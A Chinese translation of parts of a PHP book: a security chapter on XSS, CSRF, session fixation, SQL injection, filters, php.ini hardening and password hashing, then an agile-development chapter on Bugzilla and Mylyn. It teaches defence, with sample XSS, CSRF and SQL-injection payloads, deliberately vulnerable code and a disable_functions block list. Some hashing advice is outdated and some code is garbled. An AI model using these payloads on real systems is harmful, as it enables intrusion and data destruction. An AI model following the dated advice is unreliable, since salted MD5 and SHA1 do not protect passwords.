数据填充字段值的表单。当表单提交不完整时,以前的值会填充输入字段。这是一种用于维护表单状态的常用技术。它使用户在输入非法值或错过必填字段时不必重新输入每个字段值。考虑清单 11-10 中的 PHP 脚本。
清单 11-10。用 PHP 实现粘性表单处理。无输出逃逸,易受 XSS 影响
`<?php
\(field_1 = "";
\)field_2 = "";
if ( isset( \(_POST['submit'] ) ) {
\)form_fields = array( 'field_1', 'field_2' );
$completed_form = true;
foreach ( $form_fields as $field ) {
if ( !isset( \(_POST[\)field] ) || trim( \(_POST[\)field] ) == "" ) {
\(completed_form = false;
break;
}else{
\){$field} = \(_POST[\)field];
}
}
if ( $completed_form ) {
//do something with values and redirect
header( "Location: success.php" );
} else {
print "
error
";}
}
?> `
如果我们输入到field_1
中的值:
"><script type="text/javascript">alert('XSS attack');</script><"
然后我们提交的表单将无法通过我们的验证检查。表单将重新显示我们未转义的粘性值。生成的标记现在看起来像清单 11-11 中的。
清单 11-11。带有 XSS 指数的内插标记
`
`攻击者能够在页面上插入 JavaScript。我们可以通过对将要输出的变量进行转义来防止这种情况:
${$field} = htmlspecialchars( $_POST[$field], ENT_QUOTES, "UTF-8" );
这消除了威胁,产生了无害的标记,如清单 11-12 中的所示。
清单 11-12。用htmlspecialchars
对输出进行转义,使插入的标记无害
`
`- URL 查询字符串变量如果不在输出中过滤和转义,很容易被滥用。考虑以下带有查询字符串的 URL:
http://www.foobar.com?user=<script type="text/javascript">alert('XSS attack');</script>
和 PHP 代码
<?php echo "Information for user: ".$_GET['user']; ?>
防范 XSS 袭击
为了防止 XSS,我们需要对用户可能注入恶意代码的任何输出数据进行转义。这包括表单值、$_GET
查询变量以及可能包含 HTML 标记的留言簿和评论文章。
要从输出字符串$our_string
中转义 HTML,我们可以使用函数
htmlspecialchars( $our_string, ENT_QUOTES, 'UTF-8' )
我们也可以用filter_var( $our_string, FILTER_SANITIZE_STRING )
。我们将在本章后面更详细地讨论filter_var
函数。为了防止 XSS,同时允许输出数据更自由,PHP 库 HTML 净化器是最流行的方法之一。HTML 净化器可以在[
htmlpurifier.org/](http://htmlpurifier.org/)
找到。
跨站请求伪造(CSRF)
CSRF 与 XSS 相反,它利用网站对用户的信任。CSRF 涉及伪造的 HTTP 请求,通常出现在img
标记中。
CSRF 遇袭的一个例子
假设用户访问包含以下标记的网站:
<img src="http://attackedbank.com/transfer.php?from_user=victim&amount=1000&to_user=attacker"/>
浏览器访问src
属性中的 URL 是为了获取图像。取而代之的是,访问一个带有查询字符串的 PHP 页面。如果用户最近访问过attackedbank.com
,并且仍然有该站点的 cookie 数据,那么请求可以通过。更复杂的攻击欺骗使用直接 HTTP 请求的POST
方法。受攻击网站的 CSRF 的困难在于无法区分有效和无效的请求。
CSRF 预防
防止 CSRF 最常用的技术是在生成会话 ID 时生成并存储一个秘密会话令牌,如清单 11-13 所示。则秘密令牌作为隐藏的表单字段被包含。提交表单时,我们确保令牌存在,并且与会话中找到的值相匹配。我们还确保表格在指定的时间内提交。
清单 11-13。带有隐藏令牌的样本表单
`<?php
session_start();
session_regenerate_id();
if ( !isset( \(_SESSION['csrf_token'] ) ) {
\)csrf_token = sha1( uniqid( rand(), true ) );
$_SESSION['csrf_token'] = \(csrf_token;
\)_SESSION['csrf_token_time'] = time();
}
?>
然后,我们验证秘密令牌值是否匹配,生成时间是否在指定范围内(见清单 11-14 )。
清单 11-14。验证秘密令牌值是否匹配
`<?php
session_start();
if ( $_POST['csrf_token'] == \(_SESSION['csrf_token'] ) {
\)csrf_token_age = time() - $_SESSION['csrf_token_time'];
if ( $csrf_token_age <= 180 ) { //three minutes
//valid, process request
}
}
?>`
会话
当一个人设置另一个人的会话标识符(SID)时,发生会话固定。一种常见的方法是使用 XSS 将 SID 写入用户的 cookies。攻击者可以在 URL 中检索会话 id(例如,/index.php?PHPSESSID=1234abcd)
)或在网络流量中监听会话 id。
为了防止会话固定,我们可以在每个脚本的开始重新生成会话,并在我们的php.ini
中设置指令。
在我们的 PHP 文件中,我们可以用一个新的 ID 替换会话 ID,但是保留当前的会话数据。见清单 11-15 。
清单 11-15。在每个脚本的开始替换会话 ID
`<?php
session_start();
session_regenerate_id();
…`
在我们的php.ini
文件中,我们可以禁止使用 cookies 来存储 SID。我们还防止 SID 出现在 URL 中。
session.use_cookies = 1 session.use_only_cookies = 1 session.use_trans_sid = 0
注意
session.gc_maxlifetime
指令依赖于垃圾收集。为了更加一致,您可以自己记录会话开始时间,并在指定的时间段后终止。
为了防止会话固定,我们还可以存储一些$_SERVER
信息的值,即REMOTE_ADDR, HTTP_USER_AGENT
和HTTP_REFERER
。然后,我们在每个脚本执行开始时重新检查这些字段,并比较这些值的一致性。如果存储值和实际值不同,我们怀疑会话被篡改,我们可以用session_destroy();
销毁它。
最后一个保护措施是在服务器端加密会话数据。这使得泄露的会话数据对没有解密密钥的任何人都没有价值。
防止 SQL 注入
当输入数据在插入数据库查询之前没有转义时,会发生 SQL 注入。无论恶意与否,SQL 注入都会以查询不希望的方式影响数据库。SQL 注入的一个经典例子是在查询字符串上:
$sql = "SELECT * FROM BankAccount WHERE username = '{$_POST['user'] }'";
如果攻击者能够正确猜测或确定(通过显示的错误或调试输出)与表单输入相对应的数据库表字段名,则注入是可能的。例如,将表单字段"user"
设置为"foobar' OR username = 'foobar2"
,而不在提交时对数据进行转义,结果会被插值为:
$sql = "SELECT * FROM BankAccount WHERE username = 'foobar' OR username = 'foobar2'";
这使得攻击者能够从两个不同的帐户查看信息。
更大的注入是输入字符串"foobar' OR username = username"
其将被插值为
$sql = "SELECT * FROM BankAccount WHERE username ='foobar' OR username = username";
因为“username = username
”总是为真,所以整个WHERE
子句的计算结果总是为真。该查询将返回来自BankAccount table
的所有记录。
不过,其他注射可能会改变或删除数据。考虑以下查询:
$sql = "SELECT * FROM BankAccount WHERE id = $_POST['id'] ";
和一个$_POST
值:
$_POST['id']= "1; DROP TABLE
BankAccount;"
在不转义变量的情况下,这被插值为:
"SELECT * FROM BankAccount WHERE id = 1; DROP TABLE
BankAccount;"
这将删除BankAccount
表。
如果可以,应该使用占位符,比如 PHP 数据对象(PHP)中的占位符。从安全角度来看,PDO 允许占位符、预准备语句和绑定数据。考虑清单 11-16 中显示的带有 PDO 的查询的三种变体。
清单 11-16。在 PDO 执行相同查询的三种不同方式
`<?php
//No placeholders. Susceptible to SQL injection
$stmt = \(pdo_dbh->query( "SELECT * FROM BankAccount WHERE username = '{\)_POST['username']}' " );
//Unnamed placeholders.
$stmt = \(pdo_dbh->prepare( "SELECT * FROM BankAccount WHERE username = ? " );
\)stmt->execute( array( $_POST['username'] ) );
//Named placeholders.
$stmt = \(pdo_dbh->prepare( "SELECT * FROM BankAccount WHERE username = :user " );
\)stmt->bindParam(':user', \(_POST['username']);
\)stmt->execute( );`
PDO 还提供了报价功能:
$safer_query = $pdo_dbh->quote($raw_unsafe_query);
如果你不使用 PDO,那么还有其他方法可以替代quote
函数。对于 MySQL 数据库,使用mysql_real_escape_string
函数。对于 PostgreSQL 数据库,使用pg_escape_string
和pg_escape_bytea
函数。要使用 MySQL 或 PostgreSQL 转义函数,您需要在php.ini
中启用适当的库。如果mysql_real_escape_string
不可用,使用addslashes
功能。请记住,mysql_real_escape_string
比addslashes,
更好地处理字符编码问题和二进制数据,通常也更安全。
过滤扩展
PHP 5.2 中添加了过滤器扩展。过滤器扩展和filter_var
功能在第六章 -表单设计中有所涉及,但我们将在本章中更深入地展示可选的FILTER_FLAGS
。扩展中的过滤器要么用于验证,要么用于清理。验证过滤器返回有效的输入字符串,否则返回 false。净化过滤器移除非法字符并返回修改后的字符串。
过滤器扩展有两个php.ini
指令filter.default
和filter.default_flags
,默认为:
filter.default = unsafe_raw filter.default_flags = NULL
这个指令将过滤所有的超级全局变量$_GET
、$_POST
、$_COOKIE
、$_SERVER
和$_REQUEST
。默认情况下,unsafe_raw
净化过滤器不执行任何操作。但是,您可以设置以下标志:
FILTER_FLAG_STRIP_LOW //strip ASCII values smaller than 32 (non printable characters) FILTER_FLAG_STRIP_HIGH //strip ASCII values larger than 127 (extended ASCII) FILTER_FLAG_ENCODE_LOW //encode values smaller than 32 FILTER_FLAG_ENCODE_HIGH //encode values larger than 127 FILTER_FLAG_ENCODE_AMP //encode & as &
验证过滤器是FILTER_VALIDATE_*type*
,其中类型是{BOOLEAN, EMAIL, FLOAT, INT, IP, REGEXP and URL}
之一。
我们可以通过将FILTER_FLAGS
传递给第三个参数来使验证过滤器更加严格。与可选标志交叉引用的所有验证过滤器的列表可在[www.php.net/manual/en/filter.filters.validate.php](http://www.php.net/manual/en/filter.filters.validate.php),
获得,与过滤器交叉引用的标志可在[www.php.net/manual/en/filter.filters.flags.php](http://www.php.net/manual/en/filter.filters.flags.php)
获得。
使用FILTER_VALIDATE_IP
时,有四个可选标志:
FILTER_FLAG_IPV4 //only IPv4 accepted, ex 192.0.2.128 FILTER_FLAG_IPV6 //only IPv6 accepted, ex ::ffff:192.0.2.128 //2001:0db8:85a3:0000:0000:8a2e:0370:7334. FILTER_FLAG_NO_PRIV_RANGE //private ranges fail //IPv4: 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16 and //IPv6 starting with FD or FC FILTER_FLAG_NO_RES_RANGE //reserved ranges fail //IPv4: 0.0.0.0/8, 169.254.0.0/16, //192.0.2.0/24 an d 224.0.0.0/4. //IPv6: does not apply
清单 11-17。通过 FILTER_VALIDATE_IP 使用过滤标志
`<?php
$ip_address = "192.0.2.128"; //IPv4 address
var_dump( filter_var( $ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) );
//192.0.2.128
var_dump( filter_var( $ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) );
//false
$ip_address = "::ffff:192.0.2.128"; //IPv6 address representation of 192.0.2.128
var_dump( filter_var( $ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) );
//false
var_dump( filter_var( \(ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) );
//ffff:192.0.2.128` `\)ip_address = "2001:0db8:85a3:0000:0000:8a2e:0370:7334";
var_dump( filter_var($ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) );
// 2001:0db8:85a3:0000:0000:8a2e:0370:7334
$ip_address = "2001:0db8:85a3:0000:0000:8a2e:0370:7334";
var_dump( filter_var( $ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE ) );
//2001:0db8:85a3:0000:0000:8a2e:0370:7334
$ip_address = "FD01:0db8:85a3:0000:0000:8a2e:0370:7334";
var_dump( filter_var( $ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE ) );
//false
$ip_address = "192.0.3.1";
var_dump( filter_var( $ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE ) );
//192.0.3.1
$ip_address = "192.0.2.1";
var_dump( filter_var( $ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE ) );
//false
?>`
对于FILTER_VALIDATE_URL
,只有两个可选标志,它们是:
`FILTER_FLAG_PATH_REQUIRED //http://www.foobar.com/path
FILTER_FLAG_QUERY_REQUIRED //http://www.foobar.com/path?query=something
净化过滤器为FILTER_SANITIZE_*type*
,其中类型为{EMAIL, ENCODED, MAGIC_QUOTES, FLOAT, INT, SPECIAL_CHARS, STRING, STRIPPED, URL, UNSAFE_RAW}
之一。在这些过滤器中,FILTER_SANITIZE_STRING
移除 HTML 标签,FILTER_SANITIZE_STRIPPED
是FILTER_SANITIZE_STRING
的别名。
还有FILTER_CALLBACK
,这是一个用户自定义的过滤功能。
Sanitize 函数修改原始变量,但不验证它。通常我们会想让一个变量通过一个净化过滤器,然后通过一个验证过滤器。下面是一个使用EMAIL
过滤器的例子:
清单 11-18。 FILTER_SANITIZE_EMAIL
例子
`<?php
\(email = '(a@b.com)';
//get rid of the illegal parenthesis characters
\)sanitized_email = filter_var( $email, FILTER_SANITIZE_EMAIL );
var_dump( $sanitized_email );
//a@b.com
var_dump( filter_var( $email, FILTER_VALIDATE_EMAIL ) );
//false
var_dump( filter_var( $sanitized_email, FILTER_VALIDATE_EMAIL ) );
//a@b.com
?>`
函数filter_var_array
与filter_var
相似,但可以一次过滤多个变量。要过滤超级全局变量,您可以使用以下三个函数之一:
filter_has_var($type, $variable_name)
其中 type 是INPUT_GET
、INPUT_POST
、INPUT_COOKIE
、INPUT_SERVER
或INPUT_ENV
中的一个,并对应于各自的超全局数组。返回变量是否存在。filter_input,
根据名称检索特定的外部变量,并有选择地过滤它。filter_input_array,
它检索外部变量并有选择地过滤它们。
清单 11-19。 filter_has_var 示例
`<?php
// http://localhost/filter_has_var_test.php?test2=hey&test3=
$_GET['test'] = 1;
var_dump( filter_has_var( INPUT_GET, 'test' ) );
//false
var_dump( filter_has_var( INPUT_GET, 'test2' ) );
//true
var_dump( filter_has_var( INPUT_GET, 'test3' ) );
//true
?>`
注意
filter_has_var
函数返回false
,除非$_GET
变量在实际查询字符串中被更改。当变量值为空时,它也返回true
。
对于过滤元信息,使用以下两个函数:
filter_list,
返回支持的过滤器列表filter_id,
返回一个过滤器的 ID
php.ini 和服务器设置
强化环境的核心是拥有正确配置的php.ini
文件和安全的服务器/主机。如果服务器受到威胁,那么我们采取的任何额外的安全措施都是无效的。举个例子,如果一个 PHP 文件对攻击者来说是可写的,那么在该文件中过滤数据和转义输出是没有用的。
服务器环境
潜在攻击者对我们的服务器环境了解得越少越好。这包括物理服务器信息,我们的网站是否有共享主机,我们正在运行哪些模块,以及php.ini
和文件设置。Apache、PHP 或第三方库的新版本中已知的安全改进意味着攻击者将确切知道旧版本中会暴露什么。因此,我们不希望在生产环境中显示phpinfo()
。我们稍后会看看如何在php.ini
中禁用它。
在 Apache 服务器上,我们可以使用.htaccess
来限制文件的访问和可见性。我们还可以向目录添加索引文件,这样就不会列出目录内容。除非绝对必要,否则不允许 web 用户写入文件也很重要。我们想写保护目录和文件。将目录权限设置为 755,将文件权限设置为 644,会限制非文件所有者的读取权限,以及非目录所有者的读取和执行权限。
我们也不能依靠一个robots.txt
文件来阻止网络爬虫读取我们网站上的敏感数据。事实上,它可能有助于将恶意爬虫直接引向它。因此,所有敏感数据都应该在文档根目录之外。
如果我们在一个共享的主机环境中,我们需要能够相信我们的主机使用了安全方面的最佳实践,并快速修补任何新的漏洞。否则,服务器上其他站点的漏洞可能允许访问我们站点的文件。我们将在下一节讨论 PHP safe_mode
的使用。最后,我们应该定期检查服务器和 PHP 日志,寻找可疑或错误的行为。
硬化 PHP。初始化设置文件的后缀名
在一个php.ini
文件中有几个指令应该被调整以获得最佳的安全性,我们现在来看一下。
我们希望确保在生产环境中,任何潜在的错误都不会输出到屏幕显示中,这可能会暴露我们的文件系统或脚本的一些内部细节。我们仍然希望意识到错误,但不显示它们。
display_errors = Off //do not display errors display_startup_errors = Off log_errors = On //log errors
如果可以找到并读取日志文件,这种额外的努力就白费了。所以要确保日志写在文档根目录之外。
error_log = "/somewhere/outside/web/root/" track_errors = Off //keeps track of last error inside global $php_errormsg. We do not![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) want this. html_errors = Off //inserts links to documentation about errors expose_php = Off; //does not let the server add PHP to its header, //thus letting on that PHP is used on the server
如前所述,register_globals
可能是一个很大的安全漏洞,尤其是在变量没有初始化的情况下。
register_globals = Off //would register form data as global variables // *DEPRECATED* as of PHP 5.3.0
魔术引号试图自动转义引号。然而,这导致了不一致。为此,最好明确使用数据库函数。
magic_quotes_gpc = Off //deprecated in 5.3.0 Use database escaping instead
如前所述,我们应该禁止在 cookies 或 URL 中设置 SID。
session.use_cookies = 1 session.use_only_cookies = 1 session.use_trans_sid = 0
我们可以禁用高风险的 PHP 函数,如果需要的话启用一些。
disable_functions = curl_exec, curl_multi_exec, exec, highlight_file, parse_ini_file,![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) passthru, phpinfo, proc_open, popen, shell_exec, show_source, system
PHP 类也有类似的指令,我们可以禁用任何不希望 PHP 使用的类。
disable_classes =
我们可以强化 PHP 处理文件访问和远程文件的方式:
allow_url_fopen = Off //whether to allow remote files to be opened allow_url_include = Off //whether to allow includes to come from remote files file_uploads = Off //disable only if your scripts do not need file uploads
指令open_basedir
将 PHP 可以打开的文件限制在指定的目录和子树中。
open_basedir = /the/base/directory/ enable_dl = Off //can allow bypassing of open_basedir settings
对于共享主机,safe_mode
限制 PHP 只能由合适的用户 id 执行。然而,它并不限制其他脚本语言如 Bash 或 Perl 做同样的事情。这限制了我们从该指令中所能期望的实际安全程度。
safe_mode = On
密码算法
在这一节中,我们将看看密码散列的强度。当存储用户密码时,我们希望使用一种格式,使攻击者很难发现密码,即使他们侵入我们的数据库。出于这个原因,我们从来不想以纯文本的形式存储密码。哈希函数接受输入字符串,并将其转换为固定长度的表示形式。
哈希是一种单向算法,这意味着您无法从哈希中获得输入字符串。您必须总是重新散列输入,并将结果与已知的存储散列进行比较。crc32
散列函数总是将数据表示为 32 位二进制数。因为字符串比表示形式多,所以哈希函数不是一对一的。将会有生成相同散列的唯一字符串。消息摘要算法(MD5)将输入字符串转换为 32 个字符的十六进制数或等效的 128 位二进制数。
尽管散列是一种方式,但被称为彩虹表的计算结果为一些散列提供了反向查找。MD5 哈希有一个已知的彩虹表。因此,如果数据库以 MD5 格式存储密码并遭到破坏,那么用户密码就很容易被确定。
如果你使用 MD5 散列,我们必须通过加盐使它们更强。 Salting 包括将一个字符串附加到一个散列结果上,然后重新散列连接的结果。只有当我们知道散列的附加 salt 是什么时,我们才能从输入字符串中重新生成它。
在 PHP 中,函数mt_rand
比函数rand
更新,算法更快。要生成 1 到 100 之间的随机值,可以调用:
mt_rand(1, 100);
函数uniqid
将生成一个唯一的 ID。它有两个可选参数,第一个是前缀,第二个是是否使用更多的熵(随机性)。使用这些函数,我们可以生成一种独特的盐。见清单 11-20 。
清单 11-20。生成一个独特的盐,并用它来篡改我们的密码
<?php $salt = uniqid( mt_rand() ); $password = md5( $user_input ); $stronger_password = md5( $password.$salt ); ?>
我们还需要将$salt
的值存储在数据库中,以便以后检索和重新生成散列。
比 md5 散列更强的是美国安全散列算法 1 (SHA1)散列。PHP 有sha1()
函数:
$stronger_password = sha1( $password.$salt );
对于 PHP 5.1.2 及更高版本,可以使用sha1
、sha2
的后继。如你所料,sha2 比 sha1 更强。要使用 sha2,我们需要使用更通用的hash
函数,它将散列算法名称作为第一个参数,将输入字符串作为第二个参数。目前有 30 多种散列算法可用。函数hash_algos
将返回您的 PHP 版本上所有可用散列算法的列表。
清单 11-21。通过 sha2 算法使用哈希函数
<?php $string = "your_password"; $sha2_32bit = hash( 'sha256', $string ); //32 bit sha2 $sha2_64bit = hash( 'sha512', $string ); //64 bit sha2
或者,crypt
功能可以与几种算法一起使用,如md5
、sha256,
和sha512
。然而,它需要更严格的 salt 长度和不同的前缀,这取决于所使用的算法。因此,记住要使用的正确语法更加困难。
最后,当试图为您的站点构建一个登录系统时,现有的解决方案如 OpenID 或 OAuth 提供了有保证的保护级别。除非需要一个独特的解决方案,否则考虑使用已经建立并经过测试的东西。
总结
在这一章中,我们讨论了很多内容。我们讨论了 PHP 脚本中安全性的重要性。我们谈到了不信任程序中的任何数据和逃避输出。我们讨论了使用过滤器扩展和防范会话固定、XSS 和 CSRF 攻击。我们还了解了 SQL 注入,并保证了文件系统的安全。最后,我们展示了如何调整php.ini
文件的安全性和密码散列的强度。
当考虑安全性时,要记住的要点是数据和用户不应该被信任。在开发应用时,我们必须假设数据可能遭到破坏,用户正在寻找漏洞,并采取预防措施。
十二、将 Zend Studio、Eclipse、Bugzilla、Mylyn 和 Subversion 用于敏捷开发
近年来,敏捷开发变得越来越流行。这是一种计算机编程方法,它认为两个人组成的编程团队实际上比程序员单独工作更有效率。两人一组工作的概念也有反对者,有些人可能认为两个程序员同时在同一台机器上工作实际上是浪费开发时间。首先,让我们看看敏捷开发的一些基本原则。然后,我们将看看本章标题中提到的产品和工具的使用,以及如何使用它们来实现这些原则。
敏捷开发的原则
敏捷开发有许多方面,在现有的程序员团队中实现它们需要一些时间。可能会有来自各方的阻力,从程序员到管理层,所以在开始使用这些原则之前,一定要计划好你的方法和交付时间表。
敏捷编程的定义和概念需要范式的转变,以及对概念的坚实基础和理解。一旦你理解了敏捷开发应该如何工作的概念,你当然可以自由地发明你自己的术语,因为这在术语上不是一门精确的科学。在我将一个开发团队转移到敏捷方法的经历中,我喜欢使用汽车拉力赛的概念来表达团队成员“简单”角色的想法。在一场拉力赛中,每辆车都有驾驶员和导航员。集会通常会持续一段时间;如果是短途拉力赛,单日就可以完成(一个小的编程任务),如果是多阶段拉力赛(一个较长的编程任务),那么沿途可能会有进站或者休息点。最终反弹结束,结果确定。这与敏捷开发中采用的方法相同。
注意这种敏捷开发的方法和交付是对我成功之处的个人适应和提炼。有不同的类比和方法可能不适合你,也有可能适合你。例如,以快速状态会议开始编程日的每日站立会议的想法在我当前的情况下不工作。这对你的团队来说可能是最好的事情。调味是这里的基本概念。
继续汽车拉力赛的概念,参与者通常会得到一份描述或一张要走的路线的地图。拉力赛组织者准备路线,并向每辆车的导航员提供详细信息。然后导航员计划他们的车在拉力赛开始时将要走的具体路线。有些拉力赛不允许练习跑球场路线,只提供地图;一些组织者提供大量的路线信息——简而言之,路线的知识在不同的集会上可能有很大的不同。
然后,导航员根据手头的信息尽可能准确地规划路线。当事件到达时,信息可能已经改变。
敏捷开发中的计划和完成编程任务没有什么不同。必须利用提供的信息尽可能多地研究这个问题;这是导航员的工作。计划的执行将由司机来完成。驾驶程序员的工作和拉力车手是一样的。专注地听着导航员,以最佳速度操作设备,以便在最佳和最准确的时间框架内到达目的地。
这些是敏捷开发中的基本角色。现在让我们看看这些角色在解决编程任务或修复 bug 的活动中是如何工作的。下面的叙述将有助于展示一次集会从开始到结束是如何进行的。
敏捷开发集会
项目负责人(集会组织者)需要适当的时间来计划在即将到来的集会的时间框架内需要完成的事情。我发现反弹持续时间不应该超过两周,稍后我会解释原因;当然,这取决于要完成的工作。拉力赛课程(要完成的任务)将被记录下来并分配给导航员,导航员将依次花费适当的时间来研究问题或 bug,并计划解决项目所需的步骤。然后,导航员选择一个合适的驱动程序(程序员)开始工作。理想情况下,领航员有权选择他们自己的驾驶员,因为他们最了解要完成什么,因此应该选择最适合这项工作的人。当拉力赛开始时,领航员会亲自坐在车手旁边,和他们讨论任务。
这似乎是浪费时间的地方,但当你真正想一想,有人告诉司机去哪里和注意什么实际上可以更准确和更有效地完成工作。当司机不那么分心时(查看电子邮件、浏览脸书或 YouTube ),专注度和成就感会呈指数级上升。导航员给驾驶员的详细指示水平将取决于他们各自的经验和技能水平,所以这种动态将不得不自行解决。我只想说,导航员不应该一键一键地告诉司机做什么,就像一个真正的导航员不会告诉司机什么时候换挡一样。
注意导航员在这里起着更大的作用,应该认真对待。他们必须计划路线,并标记沿途的里程碑或检查点,以便团队不会在途中迷路。当我将敏捷开发引入我的工作环境时,我实际上发现了一些很好的在线视频,是真实的汽车拉力赛,并让我的团队观看了这些视频。它实际上以一种更实际的方式给他们带来了概念。分享一些好的集会和坏的集会(崩溃)的视频,向您的开发团队展示敏捷开发的道路上可能也有障碍。
有一些思想流派认为,导航员和驾驶员坐在一起的实际时间应该限制在几个小时,然后他们应该改变一些事情:改变角色,改变任务,或者两者都改变。这也需要一个团队一个团队地解决,但是不时地休息一下是个好主意。
因此,一旦集会组织者设定了集会的日期范围,就应该计划沿途停车。如果反弹时间很长,那么止损点应该放在时间线上的战略点,如果反弹时间相对较短,那么止损点可以放在最后。无论哪种方式,整个开发团队都应该走到一起,总结已经完成了什么,失败了什么,以及还需要做什么。在敏捷开发的其他术语中,停站会议也被称为 scrums,但是我认为交叉类比和混合这样的术语会令人困惑。
注意在使用这种敏捷开发方法进行编程时,应该仔细考虑开发环境。我建议至少有三个独立的环境:一个用于集会时间的本地开发环境,一个用于执行工作质量保证的测试环境,当然还有生产环境。
现在,自然地,试图遵循这种敏捷开发方法进行编程将需要一些时间来适应,并且需要获得适当的工具以便在该环境中工作。例如,你不会在土路拉力赛中驾驶加长豪华轿车,尽管有一天这可能被证明是一种取悦大众的方式……你先看看这里吧!
本章的剩余部分将集中在工具的组合上,我发现这些工具对敏捷开发方法从计划到实现的工作非常有帮助。首先,我将分别讨论这些工具,并向您展示它们各自的好处和优势,然后讨论如何实现集成。
注如果你确实想在某个时候在你的开发车间实施敏捷开发,本章的结尾将为进一步的学习和准备提供一些参考。
Bugzilla 简介
Bugzilla 是一个开源的基于网络的工具,允许用户跟踪他们的许多项目中的问题和错误。老实说,在*nix 环境下设置有点棘手,我建议找一个有经验的 Linux 管理员来确保它设置正确,但是一旦它稳定下来,就会像广告中说的那样运行。我们已经学会在我们所有的项目任务中使用它,包括状态报告和产品增强工作;任何与项目相关的东西都可以而且应该记录在 Bugzilla 中(不应该严格地局限于 bug)。Bugzilla 的基本主屏幕如图 12-1 所示。这是取自 Bugzilla 的免费在线演示网站。
图 12-1。【Bugzilla 的主页
一旦你建立了错误报告网站,你将不得不建立至少一个项目,在其中你将跟踪错误/任务。设置这些很容易,但是应该考虑清楚以便以后使用。例如,将您的开发项目分解成单独的模块,并将它们视为“产品”或发布版本可能会更好。从长远来看,这种粒度级别将对您有所帮助,因为它允许更精确地跟踪任务和 bug。
在 Bugzilla 中键入要跟踪的产品后,您可以开始添加要跟踪的单个任务或 bug。在图 12-2 中,您可以看到在 Bugzilla 的这个实例中被跟踪的一些任务的部分列表;在图 12-3 中,您可以看到单个任务上可记录的部分细节。
图 12-2。Bugzilla bug/任务列表
Bugzilla 本身就是一个管理项目细节和跟踪任务(有些是真正的 bug)的好工具。此外,在 Bugzilla 中,您可以定制对 bug 的搜索,调整任务类别和严重性级别,甚至使用内置的报告部分来查看任务完成持续时间。因此,就这一点而言,我建议将其纳入您的项目管理工具包。然而,故事远不止如此。
图 12-3。Bugzilla bug/任务的部分细节
Mylyn 为月食
Mylyn 是一个为 Eclipse 构建的任务记录模块。它是 Eclipse IDE 的一个独立附件,因此可以用于任何 Eclipse 编码风格或语言(Java、C++、PHP 等等)。它最好的特性之一是它如何记录当前正在执行的工作的上下文,稍后会有更多的内容。在 Zend Studio for Eclipse 的世界中,Mylyn 被直接绑定到任务列表视图中,可以立即用于单独的任务。如果你是一个单独的程序员,这很好,因为你不需要和任何人分享你的代码。图 12-4 显示了 Studio 中带有未分类部分的任务列表视图,以及来自示例 Bugzilla 服务器的小部件项目部分。未分类部分是用于独奏的部分。再往下钻一点,图 12-5 显示了一个单独任务的细节。在这里,我们可以看到任务的当前状态、您可能想要添加到任务中的任何日程安排,以及关于任务的任何注释或备注。这本身就很棒;尤其是单人编程。然而,一旦您看到 Mylyn 连接到 Bugzilla 服务器,您就会意识到这个 Zend Studio for Eclipse view 的应用范围要广得多。
图 12-4 。Zend Studio 中 Buzilla 服务器内容的示例显示
连接到 Bugzilla 服务器非常简单;您所要做的就是在 Task Repositories 视图中创建一个新条目。这在图 12-6 中显示。一旦用正确的凭证建立了这个连接,您就需要为它创建一个查询。这个查询可以充当 Bugzilla 中所有产品和任务的过滤器,这样,如果您正在处理一个特定的项目或系统发布,您就可以通过识别和过滤所涉及的部分来更好地集中精力。
图 12-5。Zend Studio中出现的 Bugzilla 项目细节
图 12-6。样例 Bugzilla 存储库连接设置
Bugzilla 和 Mylyn 在 Eclipse 内结合
更多的时候,程序员在团队中合作和工作。这是 Mylyn 和 Bugzilla 可以以另一种奇妙的方式合作的地方。一旦您为团队开发准备好了任务,您就可以在 Bugzilla 中或者在 Zend Studio for Eclipse 的任务列表视图中将它们分配给团队成员;这是集会组织者的任务。在 Zend Studio for Eclipse 中,您甚至可以对 Bugzilla 任务做更多的事情。可以选择添加附件(文档、图像等)、更改任务状态、更新其属性(任务可能影响什么操作系统、严重性级别、优先级级别等),以及更改团队中工作分配给谁。所有这些都可以在 IDE 中完成,这样您就不必为了完成某些工作而反复切换屏幕。
一旦在 Zend Studio for Eclipse 中建立了到 Bugzilla 服务器的连接,我们鼓励您创建至少一个到该服务器的查询,这样您就可以专注于当前需要关注的任务。您可以进行多个查询,如果愿意,每个项目一个查询,并根据需要在它们之间切换。正如你在图 12-7 中所看到的,查询设计页面可能非常复杂,如果你愿意,可以直接过滤到硬件和操作系统级别。在本例中,我对查询进行了微调,只显示与 Sam 的小部件项目相关的任务。如果我有一个潜在的非常大的查询结果集,如本例所示,我可以在视图工具栏中的 Task List 视图的关键字搜索特性中进一步细化我要查找的内容。
图 12-7。任务库查询/过滤界面
既然 bug 和任务已经连接到 Zend Studio for Eclipse,那么是时候开始使用这些项目来跟踪您的进度,直到它们得到解决。如果你再次查看图 12-4 ,你会在任务列表视图中从左数第二个位置看到一个模糊的圆圈列。几段前我提到过,跟踪任务或 bug 的上下文是 Mylyn 更好、最强大的特性之一。所以现在我们来看看这个特性背后的细节。一旦你选择了你想要完成的任务,在你执行任何相关的工作之前,一定要点击这个圆圈。这样做是为了“激活”任务,Mylyn 将开始记录正在进行的工作的上下文。Mylyn 开始跟踪您在任务处于“活动”状态时打开的所有文件,然后如果您几天后回到同一任务并重新激活它,则您上次处理该任务时在该任务上下文中打开的所有文件将在编码区域中自动为您打开。图 12-8 显示了一个特定 bug 的上下文以及与之相关的文件;DebugDemo.php
在这种情况下及其所属的项目。Mylyn 不仅跟踪 bug 上下文中打开的文件,还跟踪您处理过并随后关闭的文件。
图 12-8。单个 bug /任务的详细上下文跟踪
